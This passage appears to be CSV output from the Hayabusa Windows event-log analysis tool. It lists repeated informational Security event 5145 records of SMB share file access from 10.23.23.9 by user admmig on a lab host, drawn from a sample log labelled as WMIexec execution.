10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.238 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wad38fd8b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.238 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wad38fd8b#\44e2747436ee8621f4daf918b1922498 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.253 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wad78daf4# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.253 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wad78daf4#\748bf388335b4acc7031af4d134ad037 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.253 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wb2d030b7# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.253 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wb2d030b7#\7dbfc45fb55f5cf738956f4c7b2f8639 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.253 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wb9b5bb58# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.253 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wb9b5bb58#\789a3b275b1f5369ae5ab066e2461420 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.253 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wbc80354b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.253 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wbc80354b#\fac59f632a5e8454549a214641d7bf25 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.269 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wc1cc6649# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.269 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wc1cc6649#\996a8c9071e330fe0cfac06c4d9f2378 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.269 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wca5f1176# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.269 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wca5f1176#\f8b6726fa5f43478af33a92559c0cef2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.269 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wcffedcb4# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.269 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wcffedcb4#\f6be55d69bb92d49c71a4f9861c21451 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.285 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wd75d181a# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.285 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wd75d181a#\1a3848fefabdd8a28f5cae97106da369 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.285 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wd518ee0d# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.285 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wd518ee0d#\da3f8769af3163f94176c12ad223cb41 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.285 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.We9f24001# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.285 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.We9f24001#\6a6b3af569c21f51ab2982968ae2775d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.285 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.We0722664# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.285 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.We0722664#\559ec1b9bc74181e3591df47bdb6b7ce : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.300 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wed3937f9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.300 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wed3937f9#\4af7f054b14a220217737e71e6adff82 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.300 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wf493a5fb# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.300 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wf493a5fb#\1a4e8e027cdf1271603e7eba2cd8fab0 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.300 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\MIGUIControls : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.300 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\MIGUIControls\184c548bb9ea9e668823e3bedee4d86a : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.316 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\MMCEx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.316 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\MMCEx\85a6f67f65de23064f7deded08a464c5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.316 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\MMCFxCommon : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.316 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\MMCFxCommon\52b6052b9447848191f40e69c88f0f8b : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.316 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\MSBuild : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.316 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\MSBuild\2965d6f0cc081ef81005efec548f72a9 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.316 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\mscorlib : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.316 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\c90ef9a73ea0044641d31b19023aad61 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.316 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\napcrypt : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.316 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\napcrypt\2c945f157cd851b9dc43e99e9a89b34d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.332 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\naphlpr : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.332 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\naphlpr\0ed1ed0e250773e63d7fe047dde76c81 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.332 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\napinit : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.332 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\napinit\1264f8bd57934a4941865b3c0512803e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.332 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\napsnap : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.332 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\napsnap\5ab2511c5224a660e85286b3f2c2b752 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.332 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio1c968d57# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.332 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio1c968d57#\cc32e4d4e4dfbff56d3ae35134c1f38e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.347 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio1c9175f8# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.347 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio1c9175f8#\6a2929eeb7b5fa6ff9ef1b0f4ff440f1 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.347 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio1da2af67# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.347 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio1da2af67#\efd939ad16f7521ac6c0c15afdcb2fa2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.347 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio4b37ff64# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.363 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio4b37ff64#\8bb4776b03f3c369fd0c81c51cf468ac : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.363 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.363 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\92388fbe99436e6ed1f56ee56f10c565 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.363 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio49d6fefe# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.363 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio49d6fefe#\9bb6d55c49486153c1c1872929def220 : IP Address: 